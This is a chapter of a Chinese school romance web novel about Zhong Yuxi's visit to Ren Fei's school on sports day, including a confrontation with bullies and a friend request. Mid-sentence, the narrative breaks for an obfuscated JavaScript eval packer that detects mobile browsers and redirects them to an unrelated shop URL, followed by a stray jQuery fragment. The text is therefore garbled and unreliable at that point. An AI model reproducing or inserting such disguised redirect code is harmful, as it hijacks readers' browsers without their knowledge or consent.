少女坦然地靠近,风撩起她的发丝,轻轻蹭过任飞的脖颈,如同一个若有若无的吻,是她自己都没意识到的亲密。
这份率真与坦荡,令任飞无从自持。
在认识钟予希之前,任飞从未与异性有过如此近距离的接触。
他心底泛起酸涩,她的男朋友不介意吗?
刚冒出这一念头,又暗自纳罕自己心眼真小,这是钟予希的正常社交,没有任何问题。
钟予希微微偏头看他,直接换了个说法:“给个面子嘛。”
任飞的喉结不经意攒动,呼吸都重了几分。
钟予希注意到,忍不住想上手触摸他养眼的小痣,碍于男女有别,终究没做。
“可不可以嘛?”
她伸了个懒腰,重复一遍。
这已经是第三次了。
如果任飞还是木讷的傻样,她保证自己一定会留下洒脱的背影,和这段突如其来不值得的友情说声再见,再优越的颜值在她这里起不到任何作用——
狠话还没放完,任飞的手机已然递至眼前。
“一中可以带手机啊?”钟予希直勾勾的目光停留在屏幕上,“不对不对,你突然给我干嘛?”
任飞解释:“加好友。”
钟予希迟疑接了过来,手机这种私人的物品,任飞甚至不设置密码,完完全全放心交给她。
她既错愕,又为难。
“我划开锁屏了。”
钟予希不好操作,于是每点开一个软件,就向任飞汇报一下,对话莫名诡异起来。
“我点开你的微信了。”
“好。”
“我点开你的QQ了。”
“好。”
“我点开你的通讯录了。”
“好。”
“我点开你的——”
“好。”
“我话还没说完呢。”钟予希抬头。
任飞垂下眸:“你想怎么做都可以。”
“真的?”
“不假。”
她输入号码的最后一位数字,从容交还:“等我回家再同意好友申请,还以为一中不给使用电子设备,早上除了我自己什么都没带,没想到啊。”
任飞说:“运动会期间可以使用,不被老师发现就行。”
钟予希笑出声:“好学生也这样嘛?”
她又问任飞:“你不好奇我为什么会出现在这里吗?”
任飞摇头:“不好奇。”
相当意外的回答,钟予希循循善诱:“那猜猜我是怎么进来的吧?”
任飞没有猜测,而是给了她言外之意的答复:“运动会期间,校外人员进入校内不会产生影响,你不用担心。”
钟予希满心惊诧。
眼前相识不过短短几个月的少年,竟然精准看穿了她的所思所想,简明扼要地解开她心中的忧虑。
说实话,除了祝铮铮和沈予望,还没有人能如此迅速。
这下她可以放心留在一中了。
如此明显的白色谎言,因钟予希不了解体制内学校的规矩,才轻易信以为真。
任飞的身份也在短时间内,从“朋友”转变为“限定专属导游”。
午餐时间,他们前往学校的食堂。
钟予希跟在任飞身后,进入的餐厅提供中餐和面食,她还没来得及多看两眼,队伍已经排了起来。
到他们时,任飞的手指在窗口上点得飞快,阿姨动作麻利,一勺一勺的菜往盘里落,冒着热气。
“同学!”阿姨忍不住打断他,“你们两个人吃这么多?”
“嗯。”任飞面不改色。
消费机上的数字一个劲儿地往上跳,钟予希无奈笑出声,伸手去拦:“够啦。”
任飞低头看她,表情没什么变化,但胳膊悬在半空,似乎犹豫要不要继续。
“真的够啦。”钟予希一把按住他的手,冲阿姨笑道,“谢谢阿姨,这些够我们吃啦,多的不要。”
她怕任飞继续点菜,等他刷完饭卡,才肯松开手腕:“今天谢谢你请客啦,下次必须换我请你,说好了啊。”
钟予希很自然地规划好日后的计划,最后两人端着满满当当的托盘,找了靠窗的空桌坐下,任飞顺带帮她的那份也摆好。
周围同学的目光像聚光灯一样,从四面八方望了过来。
任飞跟没看见似的。
钟予希也没什么不自在,大大方方扫视了一圈那些打量的人。
“我的天……那是任飞吧?他旁边的女生是谁?”
“他居然会帮人打饭?他不是从来都独来独往的吗?”
“你看那盘菜,他是把整个窗口都包下来了啊?想不到品学兼优的帅哥居然有如此心细的一面。”
“重点不是菜,是他居然带女生来吃饭!任飞啊!那可是任飞!”
有人筷子掉了都没发觉,几个女生凑在一起,压低声音,眼睛一直往钟予希身上瞟。
钟予希非但没躲,反而冲那几个窃窃私语的女生笑了笑。
隔壁桌又传来议论声——
“她好自然啊……还跟我们笑了一下。”
“也好漂亮……好张扬的美啊,完全是我喜欢的风格,感觉没在学校见过,你们有印象吗?”
“说不定是西校区的,今天运动会,有不认识的新面孔蛮正常。”
钟予希小声向任飞提醒道:“她们好像在讨论我们。”
任飞垂着眸,点了点头,他没有说话,默默拆了双干净的筷子,夹了块糖醋排骨给钟予希,耳尖红了一点点。
运动会的缘故,即使中午没有比赛,各个年级的学生仍旧分散在校园的各个区域,没有回班的打算。
任飞带钟予希来到高一一班门口,他所在的班级。
钟予希视线透过门缝的夹角,朝里望去。
窗帘拉被得严严实实,把光亮全挡在外面,几个人将教室前排的桌子拼在一起,专注观看多媒体屏幕上放映的恐怖片,后边聚着一群带着耳机偷偷摸摸打游戏的学生。
她随任飞走到中间的座位,前排的同学被动静吸引,转头时噤声的手势悬在半空,眼睛忽然亮了起来。
钟予希正纳闷呢,好奇环顾四周,同学们又转了回去,只留下圆滚滚的后脑勺。
“你要去巡检?”
任飞从桌肚抽出一块夹板,上面固着一沓纸张。钟予希看清表格,联想到任飞身为学生会副会长,不用他解释,便先问出口。
她为了不影响看电影的同学的体验感,刻意压低声音,气息几乎喷薄在任飞耳边。
“嗯。”任飞蹲下身,视线与她齐平,嗓音温润,“白天老师管控不严,像综合楼的琴房或者空教室,可能有学生躲在里面,需要人去检查。”
“原来如此。”钟予希露出恍悟的表情,她歪头,指向自己的胸口,“那我在你的检查范围之内嘛?”
倏然的凑近,任飞眼里闪过一丝慌乱,光线昏暗,钟予希没有察觉。
他轻轻摇头,说:“不在。”
“你一个人?”
“嗯。”
钟予希眼珠悄悄一转,一脸盘算鬼点子的坏笑。
这不简单?她去综合楼,不就纳入检查范围了嘛。
如此想着,脑海里已经浮现任飞耳廓慢慢爬上淡红的样子。
“我在这里午休,保证安安静静。”
钟予希斯文坐着,说着违心的话,举起左手,四指并拢向任飞发誓。
视线里任飞推开了门,他的背影渐渐缩成一个小小的黑点,直到彻底消失,钟予希蹭地站起身。
啪嗒!
放置在桌沿的书本齐齐砸向地面。
周围的同学全看向她,钟予希边小声说抱歉,边有条不紊地将书本捡起。
说起来刚进门时,她便注意到了一个有意思的现象。
高一一班每个人的书桌上都垒着课本,占据了桌面的一小半空间。
各位的习惯还大有不同,有的人放的是习题册,有的人放的是教材,有的仅是薄薄一两本,有的恨不得把所有书都堆上来。
尤其是后排,几十厘米高,坐在椅子上都快看不见人头了。
任飞对书籍的好词好句进行了赏析,他字迹工工整整,干净利落,像他本人一样一丝不苟,带着劲儿。
钟予希抽出手帕纸,擦拭沾到表面的灰尘,没想到夹页里竟掉出一张照片。
她眼疾手快接住,发现照片是夏天在泉清镇支教时,在餐桌上拍摄的大合照。
人数不多,加上后方的老师和领导也就十来个。
那时任飞站在最左侧,她和其余四位和平国际的学生,位居正中。
表面看着一本正经的人居然把合照当书签,也太可爱了吧。
钟予希想着下次可得故意逗逗任飞,看他会不会害羞。她把照片重新夹回书里,离开教室,根据指示标识找到综合楼。
钟予希对自己的定位向来是个不爱管闲事的人,尽管并非如此。
当她将手中满满一瓶的矿泉水拧开,倒在眼前女生捧着金鱼的手上,她意识到自己又做了多余的事情。
女生抬头看她。
金鱼沾上水后,摆动着鳍,在掌心缓缓转了一个小小的圈。
钟予希挑眉,或许救了一条生命,也不算多管闲事。
这是一间空教室,她无意闯入。
钟予希对女生说道:“如果我没猜错,这里应该不能随便进入。学生会在外面巡查,你快点离开吧。”
女生轻轻呼出一口气,注意力还在金鱼身上:“谢谢你,它差点脱水了。”
钟予希被她的说法逗笑:“客气什么。”
见水从女生的指缝流出,金鱼又开始跳动,钟予希蹲下身,把矿泉水瓶口凑过去:“放进来。”
水珠掉落在地面的声音与门外的脚步声交织在一起。
由远及近,一下一下的。
钟予希意识到不对,压低嗓音催促:“快走,不好,学生会的来了——”
话还没说完,吱呀一声,门开了。
来人三五个,一身全黑的紧身高街风穿搭,钟予希缓缓站起身扫视一眼,全是劣质的假货。她没看见任飞,视线落在他们手中,也没有巡检表。
貌似是成群结队的不良少年。
“喂!”中间的刺头男生抹了把下颌,将钟予希从头到脚打量一番,冲她顶腮,“小妹妹长得真漂亮,叫什么名字,哪个班的?”
钟予希抬眼,面前混混模样的学生丝毫没有礼貌可言,她一点都不想搭理。
“哟呵!来老子的地盘撒野,还不听老子的话,有意思。”
说着上手扣住她的下巴,钟予希蹙着眉头打开,严肃道:“别碰我。”
身边的兄弟装起威风:“你知道我们老大是谁吗?学生会巡检,还不快说你是哪个班的?”
钟予希扯了扯嘴角:“怎么证明你是学生会的?”
“喂!”刺头将目标转向钟予
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17699943|208115||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
希旁边的女生,“你告诉她。”
女生不屑抬眼。
在学校可从来没有人敢无视刺头的话,他暴脾气上头,撸了撸袖角,二话不说手腕扬起来。
眼见就要扇到女生的脸颊,钟予希没来得及想,身体果断挡了上去,胳膊一伸,硬生生接住巴掌,小臂火辣辣的痛。
“我靠!”刺头甩了甩手,爆出粗口,“脾气真特么硬!”
钟予希站稳身体,紧紧盯着刺头的眉间,她高举红肿的手臂,一字一句冷静道:“在校伤人不仅学校会从重处分,根据治安管理法,只要年满16岁以上,构成伤情达到标准便会被拘留,留下违法记录。”
她一步一步逼近,言语有理有据,倔强的眼神看得刺头一波人战战兢兢向后踉跄,这群人正要逃跑,门口的光亮率先暗了下来。
“去哪?”
来人声线清冽,带着几分冷意。
任飞完完全全出现在钟予希的视野里。
他逆着光,身形挺拔,五官匿在阴影中,抬步走进来时虽步履平稳,怒意却藏不住。
校纪在前,滋事闹事本就不容姑息,上报是必然的,刺头一群人被带走。
女生感慨:“谢谢你,你好勇敢,也好厉害,几句话就能把他们说得心服口服。”
钟予希笑了起来:“其实我是瞎编的。法律法规我自己也弄不明白,顺口就说出来了。”
她从兜里掏出一颗棒棒糖,随性靠在桌角,垂头搓了搓糖纸,塞给女生:“我们属于正当防卫,你不用担心。”
女生钝钝点头,接过糖果。
钟予希眨了眨眼:“'正当防卫'这句话是真的。”
没一会儿,女生也回到自己的班级,空教室里只剩下钟予希和任飞。
任飞默默抽出湿纸巾,钟予希顺手接过,事情完全不在她的预料之中。
她发现任飞并没有生气,笑迎迎道歉:“谢谢我们贴心的任副会长,抱歉给你添麻烦啦。”
任飞的视线停留在她胳膊的红肿处,没有说话,他用湿巾暂时包住伤口,又蹲下身,帮她擦拭裤脚上沾上的灰。
校医务室里,冰袋敷到伤口处,又凉又麻,钟予希忍不住轻吁口气。
任飞神色紧张:“疼?”
“没有的事。”钟予希瞳仁亮亮的,唇角弯起,“以前经常和沈予望‘互殴’,早就练出了一副麒麟臂。”
说着还展示了一下,骄傲道:“刚刚那个男生力气还没我的大呢。”
任飞轻轻“嗯”了一声:“你最厉害。”
钟予希同任飞说明了事情的来龙去脉,她私心没有说明女生出入空教室的事情,而是把侧重点放在混混那边。
“不要给她记过呀。”她求情道。
随后注意到任飞胳膊后面有块小小的结痂,浅浅一道,一看便是刚落下不久,在游泳馆的时候还没有。
她主动取出一根棉签蘸了碘伏,轻轻擦在伤口周围。
任飞自始至终没说话,也没有拒绝她。他就这么安静地将目光落在她的头顶,眼睫微垂,背脊极轻地紧绷了一下,垂在另一侧的手指蜷了又蜷。
眼神深了些,藏着旁人看不见的情绪。
下午任飞代表班级参加男子三千米长跑项目。
同班同学上前给他加油打气,提前准备好葡萄糖水在终点迎接,其乐融融的氛围如同一个大家庭。
这种集体荣誉感在和平国际少有,钟予希眼神里带着真诚的羡慕。
看台的最高处,广播传来女声:“下面这张留言,送给高一四班男子三千米组……”
钟予希抬头望向声音的来源处——临时搭建的广播台,不断有人挤上去,窗口堆满皱巴巴的纸张。
原来还有这种活动,她找人借了笔和便利贴。
三千米最后一圈铃响,全场炸开锅。
任飞弯道转直,遥遥领先,场外沸腾,终点线的红带子被阳光照得发亮。
离目标只剩几米距离,他微微仰头,调整呼吸,额前的碎发被汗水打湿。
最后一刻,压低身体,冲刺,撞线。
此起彼伏的欢呼盖过广播里的留言。
任飞荣获本次比赛的第一名。
他在听到广播里熟悉的话语时,心跳一瞬间失速。
裁判在旁边举着秒表,看台上的人在欢呼,教练和同学为他贺喜。
任飞谁也没看,直直望向最高处的广播台。
那里人很多,挤来挤去,有的递着新纸条,有的伏在桌边书写加油词。
阳光恰巧从那一侧倾泻下来,落在他身上,所有人的面庞,在他的视野里都变得模糊。
他眯起眼,扫过每一个站着、坐着、蹲着的人——却始终没有找到她。
钟予希已经不在那里了。
准确来说,钟予希离开校园了。
广播开始播报下一个项目的通知。
任飞还站在终点线旁边,固执地往每一个钟予希可能存在的方向看。
一整节晚自习他都心不在焉。
回到宿舍,任飞做的第一件事,便是翻看手机。好友申请那一栏,发出去的验证消息依旧没有变化。
他盯了好几分钟,把手机扣回桌面。
室友催促他洗澡,水声哗哗淌了七八分钟,出来时他的头发还在滴水,毛巾搭在脖子上。
手机屏幕闪过光亮,消息弹了出来:
【我通过了你的朋友验证请求,现在我们可以开始聊天了】